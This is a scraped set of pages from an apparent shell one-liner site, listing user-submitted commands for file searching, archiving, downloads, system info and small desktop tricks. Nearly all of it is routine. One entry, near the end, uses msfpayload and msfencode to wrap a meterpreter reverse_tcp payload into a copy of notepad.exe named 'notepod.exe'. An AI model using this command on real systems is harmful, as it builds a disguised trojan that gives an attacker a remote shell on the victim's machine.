unlimited -i 55648 -l 3 -m 37 -n -p 8 -q 89 -r -s 4 -t unlimited -u -v unlimited -x unlimited' ulimit -c -x unlimited Functions: export sed set Running this command turns shell tracing and shell verbose debugging on or off. Not only does it do that, it also uses your terminals builtin method of setting colors to make debugging much easier. It looks at the current shell options contained in the $- special bash variable and that lets this function set the opposite of the current value. So from the shell you could do a: setx; echo "y" | ( cat -t ) | echo "d"; setx and it will turn on debbuggin. This is an amazingly useful function that is perfect to add system-wide by adding it to /etc/profile or /etc/bashrc.. You can run it from the shell, and you can also use it in your shell scripts like my .bash_profile - http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html jot -b '#' -s '' $COLUMNS For BSD-based systems, including OS X, that don't have seq. This version provides a default using tput in case $COLUMNS is not set: jot -b '#' -s '' ${COLUMNS:-$(tput cols)} find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " $6$7 ": " $9 }' find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " $6$7 ": " $9 }' 510M Nov2: /home/xxxx/xxxxxxxxx.tar.gz 510M Jan4: /home/xxxx/xxxxxxxx.tar.gz 510M Oct5: /home/xxxx/xxxxxxxxx.tar.gz 510M Sep7: /home/xxxx/xxxxxxxx.tar.gz Find all files over a set size and displays accordingly This is an updated version that some one provided me via another "find" command to find files over a certain size. Keep in mind you may have to mess around with the print values depending on your system to get the correct output you want. This was tested on FC and Cent based servers. (thanks to berta for the update) wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm just a alternative using a saved html file of all of my bookmarks. works well although it takes awhile. processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 37 stepping : 2 cpu MHz : 2926.109 cache size : 4096 KB physical id : 0 siblings : 4 core id : 0 cpu cores : 2 apicid : 0 fpu : yes fpu_exception : yes cpuid level : 11 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm syscall nx rdtscp lm constant_tsc nonstop_tsc arat pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr sse4_1 sse4_2 popcnt lahf_lm bogomips : 5852.21 clflush size : 64 cache_alignment : 64 address sizes : 36 bits physical, 48 bits virtual power management: [8] processor : 1 apicid : 1 bogomips : 5851.94 processor : 2 core id : 2 apicid : 4 processor : 3 apicid : 5 bogomips : 5851.95 It works in every linux box find . -name "*.php" -exec grep -il searchphrase {} \; This is very similar to the first example except that it employs the 'exec' argument of the find command rather than piping the result to xargs. The second example is nice and tidy but different *NIXs may not have as capable a grep command. ls -l | grep ^- List only files in long format. du -s * | sort -nr | head identify big file first 10 big file ‹ First < 289 290 291 292 293 > Last › perl -le 'print scalar gmtime shift' 1234567890 Fri Feb 13 23:31:30 2009 convert a unix timestamp to a human readable format. find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim Make sure that find does not touch anything other than regular files, and handles non-standard characters in filenames while passing to xargs. pear config-set http_proxy http://myusername:mypassword@corporateproxy:8080 [root@bridge ~ ]# pear config-set http_proxy $http_proxy config-set succeeded [root@bridge ~ ]# pear install Auth_SASL downloading Auth_SASL-1.0.4.tgz ... Starting to download Auth_SASL-1.0.4.tgz (5,795 bytes) .....done: 5,795 bytes install ok: channel://pear.php.net/Auth_SASL-1.0.4 Pear install behind proxy Useful since "export http_proxy=blahblah:8080" doesn't seem to work with pear aptitude show $PROGRAM | grep Vers know which version of the program is installed on your Debian and derivatives Output: Version 3.2-0 (for example if you type # aptitude show bash | grep Vers xrandr -q | grep -w Screen Get minimum, current, maximum possible resolution of Xorg file=orig.ps; for i in $(seq `grep "Pages:" $file | sed 's/%%Pages: //g'`); do psselect $i $file $i\_$file; done Functions: file sed seq split a postscript file splits a postscript file into multiple postscript files. for each page of the input file one output file will be generated. The files will be numbered for example 1_orig.ps 2_orig.ps ... The psselect commad is part of the psutils package readlink -f /proc/<pid>/cmdline #readlink -f /proc/4218/exe Find the full path of an already running process Uses the pid to get the full path of the process. Useful when you do not which command got picked from the path for each in *; do file="$each."; name=${file%%.*}; suffix=${file#*.}; mv "$each" "$(echo $name | rot13)${suffix:+.}${suffix%.}"; done Filenames ROT13 This got a bit complicated, because I had to introduce an additional dot at the end that has to be removed again later. netstat -4tnape display only tcp wtzc () { wget "$@"; foo=`echo "$@" | sed 's:.*/::'`; tar xzvf $foo; blah=`echo $foo | sed 's:,*/::'`; bar=`echo $blah | sed -e 's/\(.*\)\..*/\1/' -e 's/\(.*\)\..*/\1/'`; cd $bar; ls; } [user@host Downloads]$ wtzc http://www.zlib.net/zlib-1.2.3.tar.gz --2010-01-17 03:19:56-- http://www.zlib.net/zlib-1.2.3.tar.gz Resolving www.zlib.net... 69.73.181.135 Connecting to www.zlib.net|69.73.181.135|:80... connected. Length: 496597 (485K) [application/x-tar] Saving to: `zlib-1.2.3.tar.gz' 2010-01-17 03:19:58 (337 KB/s) - `zlib-1.2.3.tar.gz' saved [496597/496597] zlib-1.2.3/ zlib-1.2.3/adler32.c zlib-1.2.3/algorithm.txt zlib-1.2.3/amiga/ zlib-1.2.3/amiga/Makefile.pup zlib-1.2.3/amiga/Makefile.sas zlib-1.2.3/as400/ zlib-1.2.3/as400/bndsrc zlib-1.2.3/as400/compile.clp zlib-1.2.3/as400/readme.txt zlib-1.2.3/as400/zlib.inc zlib-1.2.3/ChangeLog zlib-1.2.3/compress.c zlib-1.2.3/configure zlib-1.2.3/contrib/ zlib-1.2.3/contrib/ada/ zlib-1.2.3/contrib/ada/buffer_demo.adb zlib-1.2.3/contrib/ada/mtest.adb zlib-1.2.3/contrib/ada/read.adb zlib-1.2.3/contrib/ada/readme.txt zlib-1.2.3/contrib/ada/test.adb zlib-1.2.3/contrib/ada/zlib-streams.adb zlib-1.2.3/contrib/ada/zlib-streams.ads zlib-1.2.3/contrib/ada/zlib-thin.adb zlib-1.2.3/contrib/ada/zlib-thin.ads zlib-1.2.3/contrib/ada/zlib.adb zlib-1.2.3/contrib/ada/zlib.ads zlib-1.2.3/contrib/ada/zlib.gpr zlib-1.2.3/contrib/asm586/ zlib-1.2.3/contrib/asm586/match.S zlib-1.2.3/contrib/asm586/README.586 zlib-1.2.3/contrib/asm686/ zlib-1.2.3/contrib/asm686/match.S zlib-1.2.3/contrib/asm686/README.686 zlib-1.2.3/contrib/blast/ zlib-1.2.3/contrib/blast/blast.c zlib-1.2.3/contrib/blast/blast.h zlib-1.2.3/contrib/blast/Makefile zlib-1.2.3/contrib/blast/README zlib-1.2.3/contrib/blast/test.pk zlib-1.2.3/contrib/blast/test.txt zlib-1.2.3/contrib/delphi/ zlib-1.2.3/contrib/delphi/readme.txt zlib-1.2.3/contrib/delphi/ZLib.pas zlib-1.2.3/contrib/delphi/ZLibConst.pas zlib-1.2.3/contrib/delphi/zlibd32.mak zlib-1.2.3/contrib/dotzlib/ zlib-1.2.3/contrib/dotzlib/DotZLib/ zlib-1.2.3/contrib/dotzlib/DotZLib/AssemblyInfo.cs zlib-1.2.3/contrib/dotzlib/DotZLib/ChecksumImpl.cs zlib-1.2.3/contrib/dotzlib/DotZLib/CircularBuffer.cs zlib-1.2.3/contrib/dotzlib/DotZLib/CodecBase.cs zlib-1.2.3/contrib/dotzlib/DotZLib/Deflater.cs zlib-1.2.3/contrib/dotzlib/DotZLib/DotZLib.cs zlib-1.2.3/contrib/dotzlib/DotZLib/DotZLib.csproj zlib-1.2.3/contrib/dotzlib/DotZLib/GZipStream.cs zlib-1.2.3/contrib/dotzlib/DotZLib/Inflater.cs zlib-1.2.3/contrib/dotzlib/DotZLib/UnitTests.cs zlib-1.2.3/contrib/dotzlib/DotZLib.build zlib-1.2.3/contrib/dotzlib/DotZLib.chm zlib-1.2.3/contrib/dotzlib/DotZLib.sln zlib-1.2.3/contrib/dotzlib/LICENSE_1_0.txt zlib-1.2.3/contrib/dotzlib/readme.txt zlib-1.2.3/contrib/infback9/ zlib-1.2.3/contrib/infback9/infback9.c zlib-1.2.3/contrib/infback9/infback9.h zlib-1.2.3/contrib/infback9/inffix9.h zlib-1.2.3/contrib/infback9/inflate9.h zlib-1.2.3/contrib/infback9/inftree9.c zlib-1.2.3/contrib/infback9/inftree9.h zlib-1.2.3/contrib/infback9/README zlib-1.2.3/contrib/inflate86/ zlib-1.2.3/contrib/inflate86/inffas86.c zlib-1.2.3/contrib/inflate86/inffast.S zlib-1.2.3/contrib/iostream/ zlib-1.2.3/contrib/iostream/test.cpp zlib-1.2.3/contrib/iostream/zfstream.cpp zlib-1.2.3/contrib/iostream/zfstream.h zlib-1.2.3/contrib/iostream2/ zlib-1.2.3/contrib/iostream2/zstream.h zlib-1.2.3/contrib/iostream2/zstream_test.cpp zlib-1.2.3/contrib/iostream3/ zlib-1.2.3/contrib/iostream3/README zlib-1.2.3/contrib/iostream3/test.cc zlib-1.2.3/contrib/iostream3/TODO zlib-1.2.3/contrib/iostream3/zfstream.cc zlib-1.2.3/contrib/iostream3/zfstream.h zlib-1.2.3/contrib/masm686/ zlib-1.2.3/contrib/masm686/match.asm zlib-1.2.3/contrib/masmx64/ zlib-1.2.3/contrib/masmx64/bld_ml64.bat zlib-1.2.3/contrib/masmx64/gvmat64.asm zlib-1.2.3/contrib/masmx64/gvmat64.obj zlib-1.2.3/contrib/masmx64/inffas8664.c zlib-1.2.3/contrib/masmx64/inffasx64.asm zlib-1.2.3/contrib/masmx64/inffasx64.obj zlib-1.2.3/contrib/masmx64/readme.txt zlib-1.2.3/contrib/masmx86/ zlib-1.2.3/contrib/masmx86/bld_ml32.bat zlib-1.2.3/contrib/masmx86/gvmat32.asm zlib-1.2.3/contrib/masmx86/gvmat32.obj zlib-1.2.3/contrib/masmx86/gvmat32c.c zlib-1.2.3/contrib/masmx86/inffas32.asm zlib-1.2.3/contrib/masmx86/inffas32.obj zlib-1.2.3/contrib/masmx86/mkasm.bat zlib-1.2.3/contrib/masmx86/readme.txt zlib-1.2.3/contrib/minizip/ zlib-1.2.3/contrib/minizip/ChangeLogUnzip zlib-1.2.3/contrib/minizip/crypt.h zlib-1.2.3/contrib/minizip/ioapi.c zlib-1.2.3/contrib/minizip/ioapi.h zlib-1.2.3/contrib/minizip/iowin32.c zlib-1.2.3/contrib/minizip/iowin32.h zlib-1.2.3/contrib/minizip/Makefile zlib-1.2.3/contrib/minizip/miniunz.c zlib-1.2.3/contrib/minizip/minizip.c zlib-1.2.3/contrib/minizip/mztools.c zlib-1.2.3/contrib/minizip/mztools.h zlib-1.2.3/contrib/minizip/unzip.c zlib-1.2.3/contrib/minizip/unzip.h zlib-1.2.3/contrib/minizip/zip.c zlib-1.2.3/contrib/minizip/zip.h zlib-1.2.3/contrib/pascal/ zlib-1.2.3/contrib/pascal/example.pas zlib-1.2.3/contrib/pascal/readme.txt zlib-1.2.3/contrib/pascal/zlibd32.mak zlib-1.2.3/contrib/pascal/zlibpas.pas zlib-1.2.3/contrib/puff/ zlib-1.2.3/contrib/puff/Makefile zlib-1.2.3/contrib/puff/puff.c zlib-1.2.3/contrib/puff/puff.h zlib-1.2.3/contrib/puff/README zlib-1.2.3/contrib/puff/zeros.raw zlib-1.2.3/contrib/README.contrib zlib-1.2.3/contrib/testzlib/ zlib-1.2.3/contrib/testzlib/testzlib.c zlib-1.2.3/contrib/testzlib/testzlib.txt zlib-1.2.3/contrib/untgz/ zlib-1.2.3/contrib/untgz/Makefile zlib-1.2.3/contrib/untgz/Makefile.msc zlib-1.2.3/contrib/untgz/untgz.c zlib-1.2.3/contrib/vstudio/ zlib-1.2.3/contrib/vstudio/readme.txt zlib-1.2.3/contrib/vstudio/vc7/ zlib-1.2.3/contrib/vstudio/vc7/miniunz.vcproj zlib-1.2.3/contrib/vstudio/vc7/minizip.vcproj zlib-1.2.3/contrib/vstudio/vc7/testzlib.vcproj zlib-1.2.3/contrib/vstudio/vc7/zlib.rc zlib-1.2.3/contrib/vstudio/vc7/zlibstat.vcproj zlib-1.2.3/contrib/vstudio/vc7/zlibvc.def zlib-1.2.3/contrib/vstudio/vc7/zlibvc.sln zlib-1.2.3/contrib/vstudio/vc7/zlibvc.vcproj zlib-1.2.3/contrib/vstudio/vc8/ zlib-1.2.3/contrib/vstudio/vc8/miniunz.vcproj zlib-1.2.3/contrib/vstudio/vc8/minizip.vcproj zlib-1.2.3/contrib/vstudio/vc8/testzlib.vcproj zlib-1.2.3/contrib/vstudio/vc8/testzlibdll.vcproj zlib-1.2.3/contrib/vstudio/vc8/zlib.rc zlib-1.2.3/contrib/vstudio/vc8/zlibstat.vcproj zlib-1.2.3/contrib/vstudio/vc8/zlibvc.def zlib-1.2.3/contrib/vstudio/vc8/zlibvc.sln zlib-1.2.3/contrib/vstudio/vc8/zlibvc.vcproj zlib-1.2.3/crc32.c zlib-1.2.3/crc32.h zlib-1.2.3/deflate.c zlib-1.2.3/deflate.h zlib-1.2.3/example.c zlib-1.2.3/examples/ zlib-1.2.3/examples/fitblk.c zlib-1.2.3/examples/gun.c zlib-1.2.3/examples/gzappend.c zlib-1.2.3/examples/gzjoin.c zlib-1.2.3/examples/gzlog.c zlib-1.2.3/examples/gzlog.h zlib-1.2.3/examples/README.examples zlib-1.2.3/examples/zlib_how.html zlib-1.2.3/examples/zpipe.c zlib-1.2.3/examples/zran.c zlib-1.2.3/FAQ zlib-1.2.3/gzio.c zlib-1.2.3/INDEX zlib-1.2.3/infback.c zlib-1.2.3/inffast.c zlib-1.2.3/inffast.h zlib-1.2.3/inffixed.h zlib-1.2.3/inflate.c zlib-1.2.3/inflate.h zlib-1.2.3/inftrees.c zlib-1.2.3/inftrees.h zlib-1.2.3/make_vms.com zlib-1.2.3/Makefile zlib-1.2.3/Makefile.in zlib-1.2.3/minigzip.c zlib-1.2.3/msdos/ zlib-1.2.3/msdos/Makefile.bor zlib-1.2.3/msdos/Makefile.dj2 zlib-1.2.3/msdos/Makefile.emx zlib-1.2.3/msdos/Makefile.msc zlib-1.2.3/msdos/Makefile.tc zlib-1.2.3/old/ zlib-1.2.3/old/descrip.mms zlib-1.2.3/old/Makefile.riscos zlib-1.2.3/old/os2/ zlib-1.2.3/old/os2/Makefile.os2 zlib-1.2.3/old/os2/zlib.def zlib-1.2.3/old/README zlib-1.2.3/old/visual-basic.txt zlib-1.2.3/old/zlib.html zlib-1.2.3/projects/ zlib-1.2.3/projects/README.projects zlib-1.2.3/projects/visualc6/ zlib-1.2.3/projects/visualc6/example.dsp zlib-1.2.3/projects/visualc6/minigzip.dsp zlib-1.2.3/projects/visualc6/README.txt zlib-1.2.3/projects/visualc6/zlib.dsp zlib-1.2.3/projects/visualc6/zlib.dsw zlib-1.2.3/qnx/ zlib-1.2.3/qnx/package.qpg zlib-1.2.3/README zlib-1.2.3/trees.c zlib-1.2.3/trees.h zlib-1.2.3/uncompr.c zlib-1.2.3/win32/ zlib-1.2.3/win32/DLL_FAQ.txt zlib-1.2.3/win32/Makefile.bor zlib-1.2.3/win32/Makefile.emx zlib-1.2.3/win32/Makefile.gcc zlib-1.2.3/win32/Makefile.msc zlib-1.2.3/win32/VisualC.txt zlib-1.2.3/win32/zlib.def zlib-1.2.3/win32/zlib1.rc zlib-1.2.3/zconf.h zlib-1.2.3/zconf.in.h zlib-1.2.3/zlib.3 zlib-1.2.3/zlib.h zlib-1.2.3/zutil.c zlib-1.2.3/zutil.h adler32.c crc32.c INDEX inftrees.h qnx zlib.3 algorithm.txt crc32.h infback.c Makefile README zlib.h amiga deflate.c inffast.c Makefile.in trees.c zutil.c as400 deflate.h inffast.h make_vms.com trees.h zutil.h ChangeLog example.c inffixed.h minigzip.c uncompr.c compress.c examples inflate.c msdos win32 configure FAQ inflate.h old zconf.h contrib gzio.c inftrees.c projects zconf.in.h [user@host zlib-1.2.3]$ Functions: cd sed tar wget wget, tar xzvf, cd, ls Combines a few repetitive tasks when compiling source code. Especially useful when a hypen in a file-name breaks tab completion. 1.) wget source.tar.gz 2.) tar xzvf source.tar.gz 3.) cd source 4.) ls From there you can run ./configure, make and etc. split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.com Functions: echo split Split a file into equal size chunks and archive to (e)mail account. This is just a little snippit to split a large file into smaller chunks (4mb in this example) and then send the chunks off to (e)mail for archival using mutt. I usually encrypt the file before splitting it using openssl: openssl des3 -salt -k <password> -in file.tgz -out file.tgz.des3 To restore, simply save attachments and rejoin them using: cat file.tgz.* > output_name.tgz and if encrypted, decrypt using: openssl des3 -d -salt -k <password> -in file.tgz.des3 -out file.tgz edit: (changed "g" to "e" for political correctness) if [ -x /etc/*-release ]; then cat /etc/*-release ; else cat /etc/*-version ; fi find . -name "*~" -exec rm {} \; nmap <F9> :set paste!<BAR>:set paste?<CR> Sets as paste toggle, with visual confirmation of state echo -e "12 morning\n15 afternoon\n24 evening" | awk '{if ('`date +%H`' < $1) print "Good " $2}' watch -n 7 -d 'uptime | sed s/.*users?, //' odmget -q "attribute=unique_id" CuAt |sed -n 's/.*name = "\(.*\)"/\1/p;s/.*value = "..........\(....\)..SYMMETRIX..EMCfcp.*"/0x\1/p;s/.*value =//p' hdisk0 0x15DC hdisk1 0x0829 Get DMX disk ID from the ODM database of a DMX attached disk. It is ok for virtual disks. It will parse the unique_id stanza in ODM database to get the DMX id. grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g" change the all files which contains xxxxx to yyyyyy This script first find all files which contains word xxxxx recursively. Then replace the word xxxxx to yyyyy of the files. Use case: - Web site domain change - Function name change of the program mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom Loopback mount .iso on FreeBSD FreeBSD version of the Linux command mount discimg.iso /cdrom -o loop The "mdconfig" command creates a device and prints the name (typically "md0"). Just append that to "/dev/" and mount. Once unmounted, you can unconfigure the device with mdconfig -d -u 0 using "0" for md0, "1" for md1, etc. for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo $f;;esac;done Unarchive entire folder This will unarchive the entire working directory. Good for torrents (I don't know why they put each file into a seperate archive). find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 Find all videos under current directory Uses mime-type of files rather than relying on file extensions to find files of a certain type. This can obviously be extended to finding files of any other type as well.. like plain text files, audio, etc.. In reference to displaying the total hours of video (which was earlier posted in command line fu, but relied on the user having to supply all possible video file formats) we can now do better: find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}' curl -Ls "http://support.dell.com/support/DPP/Index.aspx?c=us&cs=08W&l=en&s=biz&ServiceTag=$(dmidecode -s system-serial-number)"|egrep -i '>Your Warranty<|>Product Support for'|html2text -style pretty|egrep -v 'Request|View'|perl -pane 's/^(\s+|\})//g;' Product Support for Latitude D820 Your Warranty Next Business Day Support 4/16/2008 4/16/2010 0 Get DELL Warranty Information from support.dell.com The dates in the output are Start Date, End Date, Days Remaining in warranty, respectively. This will only work if you are running it on a dell machine. You can substitute the dmidecode command with a service tag if you are not using a dell. Also, you have to either allow your user to run sudo dmidecode with no password or run this command as root. instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3" https://www.instapaper.com/api/add; } Add to Instapaper Adds URL to Instapaper. instapaper-add user@example.com 12345 http://www.commandlinefu.com/ find . | grep -v svn Unless you have files that include 'svn' in them, this should provide enough information to be useful. If you need to be certain, add the leading dot in the search pattern rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi -n irssi -name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi Connect to irssi over ssh This will launch and irssi session on your server. If it's not running, it will create the session. If it's running it'll connect to it and destroy any other connections. If compositing is available, the rxvt window will have transparency added. This window will also open maximized. Anything else this does should be easily figured out in the man pages. ‹ First < 290 291 292 293 294 > Last › cvs checkout -l project/src/ checkout directory and the files it contains, without any further subdirectories nohup gnome-open . 0</dev/null 1>/dev/null 2>/dev/null& this will open the current directory in nautilus detached from your terminal. vim `find . -iname '*.php'` You are thrown into the first vim buffer. The contents of that file will be displayed in vim ready to edit. Find and edit multiple files given a regex in vim buffers In this case, we'll be editing every PHP file from the current location down the tree. You can show all the files in the vim buffer with :buffers which outputs something like, :buffers 1 %a "./config/config.php" line 1 2 "./lib/ws-php-library.php" line 0 3 "./lib/css.php" line 0 4 "./lib/mysqldb.class.php" line 0 5 "./lib/config.class.php" line 0 6 "./lib/actions.php" line 0 Press ENTER or type command to continue If you'd like to edit ./lib/mysqldb.class.php for example, enter :b4 anytime you're editing a file. You can switch back and forth. ps awwux|awk '{print $1}'|sort|uniq Get to the user for using system. WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool windowfocus $WID xdotool key ctrl+shift+t wmctrl -i -a $WID open new tab without in gnome-terminal open a new tab in active gnome-terminal instance needs sudo apt-get install xdotool and sudo apt-get install wmctrl cp -av source dest transfer files locally to be sure that file permissions are kept correctly showing progress sed -i 's/\r\n//' file.txt du -sm *|sort -rn|head -10 top ten of biggest files/dirs in $PWD season=1; for file in $(ls) ; do dir=$(echo $file | sed 's/.*S0$season\(E[0-9]\{2\}\).*/\1/'); mkdir $dir ; mv $file $dir; done Functions: echo file mkdir mv sed Organize a TV-Series season It happened to me that I got a season of a tv-show which had all files under the same folder like /home/blah/tv_show/season1/file{1,2,3,4,5,...}.avi But I like to have them like this: /home/blah/tv_show/season1/e{1,2,3,4,5,...}/file{1,2,3,4,5,...}.avi So I can have both the srt and the avi on one folder without cluttering much. This command organizes everything assuming that the filename contains Exx where xx is the number of the episode. You may need to set: IFS=$'\n' if your filenames have spaces. xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20 -window-id WID & dolphins on the desktop (compiz) xwinwrap allows you to run any program in the root desktop pane. I like to run atlantis, it goes well against Fedora 10's blue sun background. At one time this also served a useful purpose for me as a workaround for a problem that would happen when the video card went into sleep mode. iozone -s 2g -r 64 -i 0 -i 1 -t 1 iozone test complete. Simple read and write test with Iozone Iozone with a file of 2GB, 64KB record size, write/rewrite and read/re-read test, using just one thread. wget -O xkcd_$(date +%y-%m-%d).png `lynx --dump http://xkcd.com/|grep png`; eog xkcd_$(date +%y-%m-%d).png Functions: date grep wget Just added view with the eog viewer. awk -vRS="</Tag2>" '/<Tag2>/{gsub(/.*<Tag2>/,"");print}' file Extract tags in a file while true; do /bin/ping -q -c1 -w3 8.8.8.8 2>&1 > /dev/null || echo "8.8.8.8 ping failed at $(date +%d/%m/%y) $(date +%H:%M:%S)" >> /var/log/ping.log; sleep 10; done & 8.8.8.8 ping failed at 12/05/11 12:48:28 8.8.8.8 ping failed at 12/05/11 12:48:41 Check a internet connetion is up. If it isn't write a log. This command are using by me for checking connection with Internet. fping -g 192.168.1.1 192.168.1.10 -r 1 | grep -v unreachable | awk '{print $1}' 192.168.1.2 192.168.1.7 192.168.1.8 List all the machine ip's currently running on your network man $(ls /bin | shuf | head -1) Functions: head ls man I'm not sure why you would want to do this, but this seems a lot simpler (easier to understand) than the version someone submitted using awk. getarray(){ a=$1;b="${a[$2]}";eval "c=$b";echo "${c[$3]}";return 0;};a[0]="( a b c )";a[1]="( d e f )";getarray a 1 2 Tricky implementation of two-dimensional array in Bash cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; } ~$ export CDDIR=/home/flatcap/work ~$ cd ~/work$ unset CDDIR ~/work$ cd ~$ Functions: cd command set Power cd - Add a couple of useful features to 'cd' Move efficiently between directories. This command adds a couple of extra features to cd, without affecting normal use. CDPATH use is also unaffected. It introduces and environment variable CDDIR which is used as an alternate home directory. Note: I don't want to alter $HOME because then all my dot files will move. cd dir Change directory to "dir" (using CDPATH if necessary) cd dir/file.txt Change directory to "dir" (containing folder of "file.txt") This allows you to cut'n'paste, or use CDDIR is unset cd Change directory to $HOME CDDIR=/home/flatcap/work Change directory to /home/flatcap/work For convenience, put the command, and the following, in your .bashrc or .bash_profile export CDDIR="/home/flatcap/work" alias cdd="CDDIR=$(pwd)" whereis command cat file | sed -n -r '/^100$|^[0-9]{1,2}$/p' 99 Functions: cat file sed sed - match numbers between 1-100 -r to use extended regex ^ begin line | alternative get 100 or 0-9 one or two times STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=${STA} D=($(curl -s $PAG | sed -n 's/.*<\(temp_f\|wind_dir\|wind_mph\)>\(.*\)<\/.*/\2/p')) echo ${D[1]}@${D[2]}mph ${D[0]}F West@8.0mph 56.2F Get weather Uses the Wunderground web API to get weather data. Change the STA variable to a station near you. cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done Functions: cat read automate web search and open tabs in firefox tired of opening tabs and fill in search forms by hand? just pipe the search terms you need into this surfraw loop. you can use any browser you have installed, but a graphical browser with a tabbed interface will come in handy. surfraw can be found here: http://surfraw.alioth.debian.org perl -e 'printf "%vd\n",pack "N",rand 256**4' 108.134.80.236 gconf-editor /apps/evolution/mail/composer/no_signature_delim false Remove two dashes ('--') before signature in Evolution Mail (>2.30.x) for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done Functions: ls mv sed -2 Remove an unnecessary suffix from a file name for all files in a directory For this example, all files in the current directory that end in '.xml.skippy' will have the '.skippy' removed from their names. ‹ First < 291 292 293 294 295 > Last › exim -bV [root@srv ~]# exim -bV Exim version 4.72 #1 built 13-Jul-2010 21:54:55 Copyright (c) University of Cambridge, 1995 - 2007 Berkeley DB: Sleepycat Software: Berkeley DB 4.3.29: (September 19, 2009) Support for: crypteq iconv() Perl OpenSSL move_frozen_messages Content_Scanning DKIM Old_Demime Lookups: lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz Authenticators: cram_md5 plaintext spa Routers: accept dnslookup ipliteral manualroute queryprogram redirect Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp Size of off_t: 8 OpenSSL compile-time version: OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 OpenSSL runtime version: OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 Configuration file is /etc/exim.conf Exim version Prints out the version of exim files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` `fortune` | toilet -F gay -f term Cowsay Random Cow saying your fortune with colorized output This command will tell you your fortune, with a nice Ascii Art animal, and it is colorized You need cowsay, toilet and fortune installed. On Ubuntu this is: sudo apt-get install cowsay toilet fortune aptitude install cowsay toilet fortune cat file1.txt | uniq > file2.txt Functions: cat uniq Eliminate duplicate lines on a file myisamchk /path/to/mysql/files/*.MYI Checks all MySQL tables See http://dev.mysql.com/doc/refman/5.0/en/myisamchk.html for further details. You can also repair all tables by running: myisamchk -r *.MYI wget -k $URL transform relative URLs (shoddy hack but it works) The "-k" flag will tell wget to convert links for local browsing; it works with mirroring (ie with "-r") or single-file downloads. find . -exec grep "test" '{}' /dev/null \; -print search for the content in a directory watch -n <seconds> <command> Every 10,0s: ls /tmp Fri Sep 4 19:19:11 2009 <list of files> Every seconds do find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ; ~/tmp$ find . -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < 1258734167 ) print $1 ;}' | xargs rm --verbose -fr ; removed `./file_1' removed `./file_2' removed `./file_3' removed `./file_4' removed `./file_5' removed `./file_6' removed `./file_7' removed `./file_8' removed `./file_9' Functions: awk find rm xargs remove files with access time older than a given date. If you want to remove files with a given modification time replace %A@ with %T@. Use %C@ for the modification time. The time is expressed in epoc but is easy to use any other ordered format. dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path 7MB 0:00:01 [59.7MB/s] [============> ] 57% ETA 0:00:00 Functions: awk dir du tar This may seem like a long command, but it is great for making sure all file permissions are kept in tact. What it is doing is streaming the files in a sub-shell and then untarring them in the target directory. Please note that the -z command should not be used for local files and no perfomance increase will be visible as overhead processing (CPU) will be evident, and will slow down the copy. You also may keep simple with, but you don't have the progress info: cp -rpf /some/directory /other/path find -amin +[n] -delete remove files and directories with acces time older than a given time find . -depth -type d -empty -exec rmdir -v {} \; find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors" Find errors in your php website If your site is struck with the white screen of death you can find the syntax error quickly with php lint [root@server ~]# mkdir /root/test [root@server ~]# cd !$ cd /root/test Show last argument used to output the last argument. www.fir3net.com msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe encode payload acpi | cut -d '%' -f1 | cut -d ',' -f2 Functions: acpi cut Print the current battery status VBoxManage controlvm ServidorProducao savestate Save VM running as headless mkdir {1..100} [root@Fileserver test]# mkdir {1..100} [root@Fileserver test]# ls make multiple directories make multiple directories within bash. www.fir3net.com apt-cache policy mythtv mythtv: Installed: (none) Candidate: 2:0.24.1+fixes.20110802.d525265-0ubuntu0mythbuntu1 Version table: Use this command to determine what version of MythTV you are running on a Debian system. Tested on a Mythbuntu installation. rdesktop -a 16 